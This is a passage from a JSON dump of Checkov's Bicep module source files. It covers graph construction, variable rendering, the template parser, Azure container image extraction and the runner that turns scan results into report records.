created {len(self.vertices)} vertices\")\n        self._create_edges()\n        logging.info(f\"[BicepLocalGraph] created {len(self.edges)} edges\")\n\n        if render_variables:\n            renderer = BicepVariableRenderer(self)\n            renderer.render_variables_from_local_graph()\n\n    def _create_vertices(self) -> None:\n        for file_path, bicep_conf in self.definitions.items():\n            self._create_global_vertices(file_path=file_path, globals_attrs=bicep_conf.get(BicepElements.GLOBALS.value))\n            self._create_param_vertices(file_path=file_path, parameters=bicep_conf.get(BicepElements.PARAMETERS.value))\n            self._create_var_vertices(file_path=file_path, variables=bicep_conf.get(BicepElements.VARIABLES.value))\n            self._create_resource_vertices(file_path=file_path, resources=bicep_conf.get(BicepElements.RESOURCES.value))\n            self._create_module_vertices(file_path=file_path, modules=bicep_conf.get(BicepElements.MODULES.value))\n            self._create_output_vertices(file_path=file_path, outputs=bicep_conf.get(BicepElements.OUTPUTS.value))\n\n        for i, vertex in enumerate(self.vertices):\n            self.vertices_by_block_type[vertex.block_type].append(i)\n            self.vertices_block_name_map[vertex.block_type][vertex.name].append(i)\n            self.vertices_by_name[vertex.name] = i\n\n            self.in_edges[i] = []\n            self.out_edges[i] = []\n\n    def _create_global_vertices(self, file_path: Path, globals_attrs: GlobalsAttributes | None) -> None:\n        if not globals_attrs:\n            return\n\n        # there can only be one target scope per file\n        config = pickle_deepcopy(globals_attrs[\"scope\"])\n        attributes = pickle_deepcopy(config)\n\n        self.vertices.append(\n            BicepBlock(\n                name=BlockType.TARGET_SCOPE,\n                config=config,  # type:ignore[arg-type]\n                path=str(file_path),\n                block_type=BlockType.TARGET_SCOPE,\n                attributes=attributes,  # type:ignore[arg-type]\n                id=BlockType.TARGET_SCOPE,\n            )\n        )\n\n    def _create_param_vertices(self, file_path: Path, parameters: dict[str, ParameterAttributes] | None) -> None:\n        if not parameters:\n            return\n\n        for name, conf in parameters.items():\n            config = pickle_deepcopy(conf)\n            attributes = pickle_deepcopy(conf)\n\n            self.vertices.append(\n                BicepBlock(\n                    name=name,\n                    config=config,  # type:ignore[arg-type]\n                    path=str(file_path),\n                    block_type=BlockType.PARAM,\n                    attributes=attributes,  # type:ignore[arg-type]\n                    id=f\"{BlockType.PARAM}.{name}\",\n                )\n            )\n\n    def _create_var_vertices(self, file_path: Path, variables: dict[str, VariableAttributes] | None) -> None:\n        if not variables:\n            return\n\n        for name, conf in variables.items():\n            config = pickle_deepcopy(conf)\n            attributes = pickle_deepcopy(conf)\n\n            self.vertices.append(\n                BicepBlock(\n                    name=name,\n                    config=config,  # type:ignore[arg-type]\n                    path=str(file_path),\n                    block_type=BlockType.VAR,\n                    attributes=attributes,  # type:ignore[arg-type]\n                    id=f\"{BlockType.VAR}.{name}\",\n                )\n            )\n\n    def _create_resource_vertices(self, file_path: Path, resources: dict[str, ResourceAttributes] | None) -> None:\n        if not resources:\n            return\n\n        for name, conf in resources.items():\n            config = pickle_deepcopy(conf)\n\n            attributes: dict[str, Any] = {}\n            attributes[\"decorators\"] = pickle_deepcopy(config[\"decorators\"])\n            attributes[\"type_\"] = config[\"type\"]\n            attributes[\"api_version_\"] = config[\"api_version\"]\n            attributes[\"existing_\"] = config[\"existing\"]\n            attributes.update(pickle_deepcopy(config[\"config\"]))\n\n            attributes[\"resource_type\"] = config[\"type\"]\n            attributes[\"__start_line__\"] = config[\"__start_line__\"]\n            attributes[\"__end_line__\"] = config[\"__end_line__\"]\n\n            self.vertices.append(\n                BicepBlock(\n                    name=name,\n                    config=config,  # type:ignore[arg-type]\n                    path=str(file_path),\n                    block_type=BlockType.RESOURCE,\n                    attributes=attributes,\n                    id=f\"{config['type']}.{name}\",\n                )\n            )\n\n    def _create_module_vertices(self, file_path: Path, modules: dict[str, ModuleAttributes] | None) -> None:\n        if not modules:\n            return\n\n        for name, conf in modules.items():\n            config = pickle_deepcopy(conf)\n\n            attributes: dict[str, Any] = {}\n            attributes[\"decorators\"] = pickle_deepcopy(config[\"decorators\"])\n            attributes[\"type_\"] = config[\"type\"]\n            attributes[\"detail_\"] = config[\"detail\"]\n            attributes.update(pickle_deepcopy(config[\"config\"]))\n\n            attributes[\"resource_type\"] = config[\"type\"]\n            attributes[\"__start_line__\"] = config[\"__start_line__\"]\n            attributes[\"__end_line__\"] = config[\"__end_line__\"]\n\n            self.vertices.append(\n                BicepBlock(\n                    name=str(name),  # this will be fixed in pycep with the next version, currently type Token\n                    config=config,  # type:ignore[arg-type]\n                    path=str(file_path),\n                    block_type=BlockType.MODULE,\n                    attributes=attributes,\n                    id=f\"{config['type']}.{name}\",\n                )\n            )\n\n    def _create_output_vertices(self, file_path: Path, outputs: dict[str, OutputAttributes] | None) -> None:\n        if not outputs:\n            return\n\n        for name, conf in outputs.items():\n            config = pickle_deepcopy(conf)\n            attributes = pickle_deepcopy(conf)\n\n            self.vertices.append(\n                BicepBlock(\n                    name=name,\n                    config=config,  # type:ignore[arg-type]\n                    path=str(file_path),\n                    block_type=BlockType.OUTPUT,\n                    attributes=attributes,  # type:ignore[arg-type]\n                    id=f\"{BlockType.OUTPUT}.{name}\",\n                )\n            )\n\n    def _create_edges(self) -> None:\n        # TODO: support connections in interpolated strings\n        for origin_vertex_index, vertex in enumerate(self.vertices):\n            for attr_key, attr_value in vertex.attributes.items():\n                if isinstance(attr_value, BicepElement):\n                    self._create_edge(\n                        element_name=attr_value,\n                        origin_vertex_index=origin_vertex_index,\n                        label=attr_key,\n                    )\n                if isinstance(attr_value, list):\n                    for list_value in attr_value:\n                        if isinstance(list_value, BicepElement):\n                            self._create_edge(\n                                element_name=list_value,\n                                origin_vertex_index=origin_vertex_index,\n                                label=attr_key,\n                            )\n\n    def _create_edge(self, element_name: str, origin_vertex_index: int, label: str) -> None:\n        vertex_name = element_name\n        if \".\" in vertex_name:\n            # special case for`bicep elements, when properties are accessed\n            vertex_name = vertex_name.split(\".\")[0]\n\n        dest_vertex_index = self.vertices_by_name.get(vertex_name)\n        if dest_vertex_index:\n            if origin_vertex_index == dest_vertex_index:\n                return\n            edge = Edge(origin_vertex_index, dest_vertex_index, label)\n            self.edges.append(edge)\n            self.out_edges[origin_vertex_index].append(edge)\n            self.in_edges[dest_vertex_index].append(edge)\n\n    def update_vertices_configs(self) -> None:\n        for vertex in self.vertices:\n            changed_attributes = list(vertex.changed_attributes.keys())\n            changed_attributes = filter_sub_keys(changed_attributes)\n            self.update_vertex_config(vertex, changed_attributes)\n\n    @staticmethod\n    def update_vertex_config(vertex: Block, changed_attributes: list[str] | dict[str, Any], dynamic_blocks: bool = False) -> None:\n        if not changed_attributes:\n            # skip, if there is no change\n            return\n\n        for attr in changed_attributes:\n            new_value = vertex.attributes.get(attr, None)\n            if vertex.block_type == BlockType.RESOURCE:\n                BicepLocalGraph.update_config_attribute(\n                    config=vertex.config[\"config\"], key_to_update=attr, new_value=new_value\n                )\n\n    @staticmethod\n    def update_config_attribute(config: list[Any] | dict[str, Any], key_to_update: str, new_value: Any) -> None:\n        key_parts = key_to_update.split(\".\")\n\n        if isinstance(config, dict):\n            key = key_parts[0]\n            if len(key_parts) == 1:\n                BicepLocalGraph.update_config_value(config=config, key=key, new_value=new_value)\n                return\n            else:\n                key, key_parts = BicepLocalGraph.adjust_key(config, key, key_parts)\n                if len(key_parts) == 1:\n                    BicepLocalGraph.update_config_value(config=config, key=key, new_value=new_value)\n                    return\n\n                BicepLocalGraph.update_config_attribute(config[key], \".\".join(key_parts[1:]), new_value)\n        elif isinstance(config, list):\n            key_idx = force_int(key_parts[0])\n            if key_idx is None:\n                return\n\n            if len(key_parts) == 1:\n                BicepLocalGraph.update_config_value(config=config, key=key_idx, new_value=new_value)\n                return\n            else:\n                BicepLocalGraph.update_config_attribute(config[key_idx], \".\".join(key_parts[1:]), new_value)\n\n        return\n\n    @overload\n    @staticmethod\n    def update_config_value(config: list[Any], key: int, new_value: Any) -> None:\n        ...\n\n    @overload\n    @staticmethod\n    def update_config_value(config: dict[str, Any], key: str, new_value: Any) -> None:\n        ...\n\n    @staticmethod\n    def update_config_value(config: list[Any] | dict[str, Any], key: int | str, new_value: Any) -> None:\n        new_value = adjust_value(config[key], new_value)  # type:ignore[index]\n        if new_value is None:\n            # couldn't find key in in value object\n            return\n\n        config[key] = new_value  # type:ignore[index]\n\n    @staticmethod\n    def adjust_key(config: dict[str, Any], key: str, key_parts: list[str]) -> tuple[str, list[str]]:\n        \"\"\"Adjusts the key, if it consists of multiple dots\n\n        Ex:\n        config = {\"'container.registry'\": \"acrName\"}\n        key = \"'container\"\n        key_parts = [\"'container\", \"registry'\"]\n\n        returns new_key = \"'container.registry'\"\n                new_key_parts = [\"'container.registry'\"]\n        \"\"\"\n\n        if key not in config:\n            if len(key_parts) >= 2:\n                new_key = \".\".join(key_parts[:2])\n                new_key_parts = [new_key] + key_parts[2:]\n\n                return BicepLocalGraph.adjust_key(config, new_key, new_key_parts)\n\n        return key, key_parts\n\n    def get_resources_types_in_graph(self) -> list[str]:\n        return []\n"
  },
  {
    "path": "checkov/bicep/graph_builder/variable_rendering/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/bicep/graph_builder/variable_rendering/renderer.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING, Any\n\nfrom pycep.transformer import BicepElement\n\nfrom checkov.bicep.graph_builder.graph_components.block_types import BlockType\nfrom checkov.common.graph.graph_builder import Edge\nfrom checkov.common.graph.graph_builder.utils import adjust_value\nfrom checkov.common.graph.graph_builder.variable_rendering.renderer import VariableRenderer\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\n\nif TYPE_CHECKING:\n    from checkov.bicep.graph_builder.local_graph import BicepLocalGraph\n\n\nclass BicepVariableRenderer(VariableRenderer[\"BicepLocalGraph\"]):\n    def __init__(self, local_graph: BicepLocalGraph) -> None:\n        super().__init__(local_graph)\n\n    def _render_variables_from_vertices(self) -> None:\n        pass\n\n    def evaluate_vertex_attribute_from_edge(self, edge_list: list[Edge]) -> None:\n        edge = edge_list[0]\n        origin_vertex_attributes = self.local_graph.vertices[edge.origin].attributes\n        val_to_eval = pickle_deepcopy(origin_vertex_attributes.get(edge.label, \"\"))\n\n        attr_path, attr_value = self.extract_dest_attribute_path_and_value(dest_index=edge.dest, origin_value=val_to_eval)\n\n        if attr_path:\n            self.local_graph.update_vertex_attribute(\n                vertex_index=edge.origin,\n                attribute_key=edge.label,\n                attribute_value=attr_value,\n                change_origin_id=edge.dest,\n                attribute_at_dest=attr_path,\n            )\n\n    def extract_dest_attribute_path_and_value(self, dest_index: int, origin_value: Any) -> tuple[str, Any] | tuple[None, None]:\n        if isinstance(origin_value, BicepElement):\n            vertex = self.local_graph.vertices[dest_index]\n\n            if vertex.block_type == BlockType.PARAM:\n                new_value = vertex.attributes.get(\"default\")\n                if new_value:\n                    new_value = adjust_value(element_name=origin_value, value=new_value)\n                    return \"default\", new_value\n            elif vertex.block_type == BlockType.VAR:\n                new_value = adjust_value(element_name=origin_value, value=vertex.attributes[\"value\"])\n                return \"value\", new_value\n\n        return None, None\n\n    def evaluate_non_rendered_values(self) -> None:\n        # not used\n        pass\n"
  },
  {
    "path": "checkov/bicep/graph_manager.py",
    "content": "from __future__ import annotations\n\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING, Any, Optional\n\nfrom checkov.bicep.parser import Parser\nfrom checkov.bicep.utils import get_scannable_file_paths\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.graph.graph_manager import GraphManager\nfrom checkov.bicep.graph_builder.local_graph import BicepLocalGraph\n\nif TYPE_CHECKING:\n    from checkov.common.typing import LibraryGraphConnector\n    from pycep.typing import BicepJson\n\n\nclass BicepGraphManager(GraphManager[BicepLocalGraph, \"dict[Path, BicepJson]\"]):\n    def __init__(self, db_connector: LibraryGraphConnector, source: str = GraphSource.BICEP) -> None:\n        super().__init__(db_connector=db_connector, parser=None, source=source)\n\n    def build_graph_from_source_directory(\n        self,\n        source_dir: str,\n        local_graph_class: type[BicepLocalGraph] = BicepLocalGraph,\n        render_variables: bool = True,\n        parsing_errors: Optional[dict[str, Exception]] = None,\n        download_external_modules: Optional[bool] = False,\n        excluded_paths: Optional[list[str]] = None,\n        **kwargs: Any,\n    ) -> tuple[BicepLocalGraph, dict[Path, BicepJson]]:\n        file_paths = get_scannable_file_paths(root_folder=source_dir)\n        definitions, definitions_raw, parsing_errors = Parser().get_files_definitions(file_paths)  # type:ignore[assignment]\n        local_graph = self.build_graph_from_definitions(definitions)\n\n        return local_graph, definitions\n\n    def build_graph_from_definitions(\n        self, definitions: dict[Path, BicepJson], render_variables: bool = True\n    ) -> BicepLocalGraph:\n        local_graph = BicepLocalGraph(definitions)\n        local_graph.build_graph(render_variables)\n        return local_graph\n"
  },
  {
    "path": "checkov/bicep/image_referencer/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/bicep/image_referencer/base_provider.py",
    "content": "from __future__ import annotations\n\nimport os\n\nfrom checkov.bicep.utils import BICEP_START_LINE, BICEP_END_LINE\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.images.graph.image_referencer_provider import GraphImageReferencerProvider\nfrom checkov.common.images.image_referencer import Image\nfrom checkov.common.util.str_utils import removeprefix\n\n\nclass BaseBicepProvider(GraphImageReferencerProvider):\n\n    def extract_images_from_resources(self) -> list[Image]:\n        images = []\n\n        supported_resources_graph = self.extract_nodes()\n\n        for resource in self.extract_resource(supported_resources_graph):\n            image_names: list[str] = []\n            resource_type = resource[CustomAttributes.RESOURCE_TYPE]\n\n            extract_images_func = self.supported_resource_types.get(resource_type)\n            if extract_images_func:\n                image_names.extend(extract_images_func(resource))\n\n            for name in image_names:\n                images.append(\n                    Image(\n                        file_path=resource[CustomAttributes.FILE_PATH],\n                        name=name,\n                        start_line=resource[BICEP_START_LINE],\n                        end_line=resource[BICEP_END_LINE],\n                        related_resource_id=f'{removeprefix(resource.get(\"file_path_\", \"\"), os.getenv(\"BC_ROOT_DIR\", \"\"))}:{resource.get(\"id_\")}',\n                    )\n                )\n\n        return images\n"
  },
  {
    "path": "checkov/bicep/image_referencer/manager.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom checkov.bicep.image_referencer.provider.azure import AzureBicepProvider\nfrom checkov.common.images.graph.image_referencer_manager import GraphImageReferencerManager\n\nif TYPE_CHECKING:\n    from checkov.common.images.image_referencer import Image\n\n\nclass BicepImageReferencerManager(GraphImageReferencerManager):\n\n    def extract_images_from_resources(self) -> list[Image]:\n        bicep_provider = AzureBicepProvider(graph_connector=self.graph_connector)\n\n        images = bicep_provider.extract_images_from_resources()\n\n        return images\n"
  },
  {
    "path": "checkov/bicep/image_referencer/provider/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/bicep/image_referencer/provider/azure.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.bicep.image_referencer.base_provider import BaseBicepProvider\nfrom checkov.common.util.data_structures_utils import find_in_dict\nfrom checkov.common.util.type_forcers import force_list\n\nif TYPE_CHECKING:\n    from networkx import DiGraph\n\n\nclass AzureBicepProvider(BaseBicepProvider):\n    def __init__(self, graph_connector: DiGraph) -> None:\n        super().__init__(\n            graph_connector=graph_connector,\n            supported_resource_types=SUPPORTED_AZURE_IMAGE_RESOURCE_TYPES,\n        )\n\n\ndef extract_images_from_azurerm_batch_pool(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    containers = find_in_dict(\n        input_dict=resource,\n        key_path=\"properties/virtualMachineConfiguration/containerConfiguration/containerImageNames\",\n    )\n    if isinstance(containers, list):\n        image_names.extend(container for container in containers if isinstance(container, str))\n\n    return image_names\n\n\ndef extract_images_from_azurerm_container_group(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    properties = resource.get(\"properties\")\n    if properties and isinstance(properties, dict):\n        containers = properties.get(\"containers\")\n        if containers:\n            for container in force_list(containers):\n                name = find_in_dict(input_dict=container, key_path=\"properties/image\")\n                if name and isinstance(name, str):\n                    image_names.append(name)\n        containers = properties.get(\"initContainers\")\n        if containers:\n            for container in force_list(containers):\n                name = find_in_dict(input_dict=container, key_path=\"properties/image\")\n                if name and isinstance(name, str):\n                    image_names.append(name)\n\n    return image_names\n\n\ndef extract_images_from_azurerm_web_app(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    containers = find_in_dict(input_dict=resource, key_path=\"properties/template/containers\")\n    if containers:\n        for container in force_list(containers):\n            name = container.get(\"image\")\n            if name and isinstance(name, str):\n                image_names.append(name)\n\n    return image_names\n\n\n# needs to be at the bottom to add the defined functions\nSUPPORTED_AZURE_IMAGE_RESOURCE_TYPES = {\n    \"Microsoft.App/containerApps\": extract_images_from_azurerm_web_app,\n    \"Microsoft.Batch/batchAccounts/pools\": extract_images_from_azurerm_batch_pool,\n    \"Microsoft.ContainerInstance/containerGroups\": extract_images_from_azurerm_container_group,\n    \"Microsoft.Web/containerApps\": extract_images_from_azurerm_web_app,\n}\n"
  },
  {
    "path": "checkov/bicep/parser.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nfrom collections.abc import Collection\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING\n\nfrom pycep import BicepParser\n\nfrom checkov.common.util.file_utils import read_file_with_any_encoding\n\nif TYPE_CHECKING:\n    from pycep.typing import BicepJson\n\n\nclass Parser:\n    def __init__(self) -> None:\n        self.bicep_parser = BicepParser(add_line_numbers=True)\n\n    def parse(self, file_path: Path) -> tuple[BicepJson, list[tuple[int, str]]] | tuple[None, None]:\n        try:\n            content = read_file_with_any_encoding(file_path=file_path)\n            template = self.bicep_parser.parse(text=content)\n        except Exception:\n            logging.debug(f\"[bicep] Couldn't parse {file_path}\", exc_info=True)\n            return None, None\n\n        file_lines = [(idx + 1, line) for idx, line in enumerate(content.splitlines(keepends=True))]\n\n        return template, file_lines\n\n    def get_files_definitions(\n        self, file_paths: \"Collection[Path]\"\n    ) -> tuple[dict[Path, BicepJson], dict[Path, list[tuple[int, str]]], list[str]]:\n        logging.info(f\"[bicep] start to parse {len(file_paths)} files\")\n\n        definitions: dict[Path, BicepJson] = {}\n        definitions_raw: dict[Path, list[tuple[int, str]]] = {}\n        parsing_errors: list[str] = []\n\n        for file_path in file_paths:\n            template, file_lines = self.parse(file_path)\n            if template and file_lines:\n                definitions[file_path] = template\n                definitions_raw[file_path] = file_lines\n            else:\n                parsing_errors.append(os.path.normpath(file_path.absolute()))\n\n        logging.info(f\"[bicep] successfully parsed {len(definitions)} files\")\n\n        return definitions, definitions_raw, parsing_errors\n"
  },
  {
    "path": "checkov/bicep/runner.py",
    "content": "from __future__ import annotations\n\nimport os\nimport logging\nfrom pathlib import Path\nfrom typing import cast, Type, TYPE_CHECKING, Any, Literal\n\nfrom typing_extensions import TypeAlias  # noqa[TC002]\n\nfrom checkov.bicep.graph_builder.context_definitions import build_definitions_context\nfrom checkov.bicep.checks.param.registry import registry as param_registry\nfrom checkov.bicep.checks.resource.registry import registry as resource_registry\nfrom checkov.bicep.graph_builder.graph_to_tf_definitions import convert_graph_vertices_to_tf_definitions\nfrom checkov.bicep.graph_builder.local_graph import BicepLocalGraph\nfrom checkov.bicep.graph_manager import BicepGraphManager\nfrom checkov.bicep.image_referencer.manager import BicepImageReferencerManager\nfrom checkov.bicep.parser import Parser\nfrom checkov.bicep.utils import clean_file_path, get_scannable_file_paths\nfrom checkov.common.checks_infra.registry import get_graph_checks_registry\n\nfrom checkov.common.typing import LibraryGraphConnector\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.images.image_referencer import ImageReferencerMixin\nfrom checkov.common.output.extra_resource import ExtraResource\nfrom checkov.common.output.graph_record import GraphRecord\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.runners.base_runner import BaseRunner\nfrom checkov.common.typing import _CheckResult\nfrom checkov.common.util.secrets import omit_secret_value_from_checks\nfrom checkov.common.util.suppression import collect_suppressions_for_report\nfrom checkov.runner_filter import RunnerFilter\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check_registry import BaseCheckRegistry\n    from checkov.common.checks_infra.registry import Registry\n    from checkov.common.graph.checks_infra.registry import BaseRegistry\n    from checkov.common.images.image_referencer import Image\n    from networkx import DiGraph\n    from pycep.typing import BicepJson\n\n_BicepContext: TypeAlias = \"dict[str, dict[str, Any]]\"\n_BicepDefinitions: TypeAlias = \"dict[Path, BicepJson]\"\n\n\nclass Runner(ImageReferencerMixin[None], BaseRunner[_BicepDefinitions, _BicepContext, BicepGraphManager]):\n    check_type = CheckType.BICEP  # noqa: CCE003  # a static attribute\n\n    block_type_registries: 'dict[Literal[\"parameters\", \"resources\"], BaseCheckRegistry]' = {  # noqa: CCE003  # a static attribute\n        \"parameters\": param_registry,\n        \"resources\": resource_registry,\n    }\n\n    def __init__(\n        self,\n        db_connector: LibraryGraphConnector | None = None,\n        source: str = GraphSource.BICEP,\n        graph_class: Type[BicepLocalGraph] = BicepLocalGraph,\n        graph_manager: BicepGraphManager | None = None,\n        external_registries: list[BaseRegistry] | None = None\n    ) -> None:\n        super().__init__(file_extensions=['.bicep'])\n        db_connector = db_connector or self.db_connector\n        self.external_registries = external_registries if external_registries else []\n        self.graph_class = graph_class\n        self.graph_manager: BicepGraphManager = (\n            graph_manager if graph_manager else BicepGraphManager(source=source, db_connector=db_connector)\n        )\n        self.graph_registry: Registry = get_graph_checks_registry(self.check_type)\n\n        self.context: _BicepContext = {}\n        self.definitions: _BicepDefinitions = {}\n        self.definitions_raw: dict[Path, list[tuple[int, str]]] = {}    # type:ignore[assignment]\n        self.root_folder: str | Path | None = None\n\n    def run(\n        self,\n        root_folder: str | Path | None,\n        external_checks_dir: list[str] | None = None,\n        files: list[str] | None = None,\n        runner_filter: RunnerFilter | None = None,\n        collect_skip_comments: bool = True,\n    ) -> Report | list[Report]:\n        runner_filter = runner_filter or RunnerFilter()\n        if not runner_filter.show_progress_bar:\n            self.pbar.turn_off_progress_bar()\n\n        report = Report(Runner.check_type)\n        self.root_folder = root_folder\n\n        if not self.context or not self.definitions:\n            file_paths = get_scannable_file_paths(\n                root_folder=root_folder, files=files, excluded_paths=runner_filter.excluded_paths\n            )\n\n            if not file_paths:\n                return report\n\n            self.definitions, self.definitions_raw, parsing_errors = Parser().get_files_definitions(file_paths)\n\n            report.add_parsing_errors(parsing_errors)\n\n            if external_checks_dir:\n                for directory in external_checks_dir:\n                    resource_registry.load_external_checks(directory)\n                    self.graph_registry.load_external_checks(directory)\n\n            self.context = build_definitions_context(definitions=self.definitions, definitions_raw=self.definitions_raw)\n\n            logging.info(\"Creating Bicep graph\")\n            local_graph = self.graph_manager.build_graph_from_definitions(self.definitions)\n            logging.info(\"Successfully created Bicep graph\")\n\n            self.graph_manager.save_graph(local_graph)\n            self.definitions, self.breadcrumbs = convert_graph_vertices_to_tf_definitions(\n                vertices=local_graph.vertices, root_folder=root_folder\n            )\n\n        self.pbar.initiate(len(self.definitions))\n\n        # run Python checks\n        self.add_python_check_results(report=report, runner_filter=runner_filter, root_folder=root_folder)\n\n        # run graph checks\n        self.add_graph_check_results(report=report, runner_filter=runner_filter)\n\n        if runner_filter.run_image_referencer:\n            if files:\n                # 'root_folder' shouldn't be empty to remove the whole path later and only leave the shortened form\n                root_folder = os.path.split(os.path.commonprefix(files))[0]\n\n            image_report = self.check_container_image_references(\n                graph_connector=self.graph_manager.get_reader_endpoint(),\n                root_path=root_folder,\n                runner_filter=runner_filter,\n            )\n\n            if image_report:\n                # due too many tests failing only return a list, if there is an image report\n                return [report, image_report]\n\n        return report\n\n    def set_definitions_raw(self, definitions_raw: dict[Path, list[tuple[int, str]]]) -> None:\n        self.definitions_raw = definitions_raw\n\n    def add_python_check_results(\n        self, report: Report, runner_filter: RunnerFilter, root_folder: str | Path | None\n    ) -> None:\n        \"\"\"Adds Python check results to given report\"\"\"\n\n        for file_path, definition in self.definitions.items():\n            self.pbar.set_additional_data({'Current File Scanned': os.path.relpath(file_path, root_folder)})\n            for block_type, registry in Runner.block_type_registries.items():\n                block_type_confs = definition.get(block_type)\n                if block_type_confs:\n                    for name, conf in block_type_confs.items():\n                        results = registry.scan(\n                            scanned_file=str(file_path),\n                            entity={name: conf},\n                            skipped_checks=[],\n                            runner_filter=runner_filter\n                        )\n\n                        if results:\n                            file_code_lines = self.definitions_raw[file_path]\n                            start_line = conf[\"__start_line__\"]\n                            end_line = conf[\"__end_line__\"]\n\n                            cleaned_path = clean_file_path(file_path)\n                            resource_id = f\"{conf['type']}.{name}\"\n                            report.add_resource(f\"{cleaned_path}:{resource_id}\")\n\n                            suppressions = collect_suppressions_for_report(\n                                code_lines=file_code_lines[start_line - 1 : end_line]\n                            )\n\n                            for check, check_result in results.items():\n                                if check.id in suppressions.keys():\n                                    check_result = suppressions[check.id]\n                                elif check.bc_id and check.bc_id in suppressions.keys():\n                                    check_result = suppressions[check.bc_id]\n\n                                censored_code_lines = omit_secret_value_from_checks(\n                                    check=check,\n                                    check_result=check_result,\n                                    entity_code_lines=file_code_lines[start_line - 1 : end_line],\n                                    entity_config=conf,\n                                    resource_attributes_to_omit=runner_filter.resource_attr_to_omit\n                                )\n\n                                record = Record(\n                                    check_id=check.id,\n                                    bc_check_id=check.bc_id,\n                                    check_name=check.name,\n                                    check_result=check_result,\n                                    code_block=censored_code_lines,\n                                    file_path=self.extract_file_path_from_abs_path(cleaned_path),\n                                    file_line_range=[start_line, end_line],\n                                    resource=resource_id,\n                                    check_class=check.__class__.__module__,\n                                    file_abs_path=str(file_path.absolute()),\n                                    evaluations=None,\n                                    severity=check.severity,\n                                )\n                                record.set_guideline(check.guideline)\n                                report.add_record(record=record)\n                        elif conf.get(\"existing\") is False:\n                            # resources without checks, but not existing ones\n\n                            cleaned_path = clean_file_path(file_path)\n                            resource_id = f\"{conf['type']}.{name}\"\n                            report.extra_resources.add(\n                                ExtraResource(\n                                    file_abs_path=str(file_path.absolute()),\n                                    file_path=self.extract_file_path_from_abs_path(cleaned_path),\n                                    resource=resource_id,\n                                )\n                            )\n            self.pbar.update()\n        self.pbar.close()\n\n    def extract_file_path_from_abs_path(self, path: Path) -> str:\n        return f\"/{os.path.relpath(path, self.root_folder)}\"\n\n    def add_graph_check_results(self, report: Report, runner_filter: RunnerFilter) -> None:\n        \"\"\"Adds YAML check results to given report\"\"\"\n\n        checks_results = self.run_graph_checks_results(runner_filter, self.check_type)\n\n        for check, check_results in checks_results.items():\n            for check_result in check_results:\n                entity = check_result[\"entity\"]\n                entity_file_path = Path(entity[CustomAttributes.FILE_PATH])\n\n                clean_check_result: _CheckResult = {\n                    \"result\": check_result[\"result\"],\n                    \"evaluated_keys\": check_result[\"evaluated_keys\"],\n                }\n\n                file_code_lines = self.definitions_raw[entity_file_path]\n                start_line = entity[\"__start_line__\"]\n                end_line = cast(\"int\", entity[\"__end_line__\"])\n\n                record = Record(\n                    check_id=check.id,\n                    bc_check_id=check.bc_id,\n                    check_name=check.name,\n                    check_result=clean_check_result,\n                    code_block=file_code_lines[start_line - 1 : end_line],\n                    file_path=self.extract_file_path_from_abs_path(clean_file_path(entity_file_path)),\n                    file_line_range=[start_line, end_line],\n                    resource=entity[CustomAttributes.ID],\n                    check_class=check.__class__.__module__,\n                    file_abs_path=str(entity_file_path.absolute()),\n                    evaluations=None,\n                    severity=check.severity,\n                )\n                if self.breadcrumbs:\n                    breadcrumb = self.breadcrumbs.get(record.file_path, {}).get(record.resource)\n                    if breadcrumb:\n                        record = GraphRecord(record, breadcrumb)\n                record.set_guideline(check.guideline)\n                report.add_record(record=record)\n\n    def extract_images(\n        self,\n        graph_connector: DiGraph | None = None,\n        definitions: None = None,\n        definitions_raw: dict[str, list[tuple[int, str]]] | None = None,\n    ) -> list[Image]:\n        if not graph_connector:\n            # should not happen\n            return []\n\n        manager = BicepImageReferencerManager(graph_connector=graph_connector)\n        images = manager.extract_images_from_resources()\n\n        return images\n"
  },
  {
    "path": "checkov/bicep/utils.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nimport re\nfrom collections.abc import Collection\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING\n\nfrom checkov.common.runners.base_runner import filter_ignored_paths\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.bicep.parser import Parser\n\nif TYPE_CHECKING:\n    from pycep.typing import BicepJson\n\n\nBICEP_POSSIBLE_ENDINGS = [\".bicep\"]\nBICEP_START_LINE = \"__start_line__\"\nBICEP_END_LINE = \"__end_line__\"\n\n\ndef get_scannable_file_paths(\n    root_folder: str | Path | None = None, files: list[str] | None = None, excluded_paths: list[str] | None = None\n) -> set[Path]:\n    \"\"\"Finds Bicep files\"\"\"\n\n    file_paths: set[Path] = set()\n\n    if root_folder:\n        root_path = Path(root_folder)\n        file_paths = {file_path for file_path in root_path.rglob(\"*.bicep\") if file_path.is_file()}\n\n        if excluded_paths:\n            compiled = [re.compile(p.replace(\".terraform\", r\"\\.terraform\")) for p in excluded_paths]\n            file_paths = {\n                file_path for file_path in file_paths if not any(pattern.search(str(file_path)) for pattern in compiled)\n            }\n    if files:\n        for file in files:\n            if file.endswith(\".bicep\"):\n                file_paths.add(Path(file))\n\n    return file_paths\n\n\ndef clean_file_path(file_path: Path) -> Path:\n    path_parts = [part for part in file_path.parts if part not in (\".\", \"..\")]\n\n    return Path(*path_parts)\n\n\ndef get_folder_definitions(\n    root_folder: str, excluded_paths: list[str] | None\n) -> tuple[dict[Path, BicepJson], dict[Path, list[tuple[int, str]]], list[str]]:\n    files_list: set[Path] = set()\n    for root, d_names, f_names in 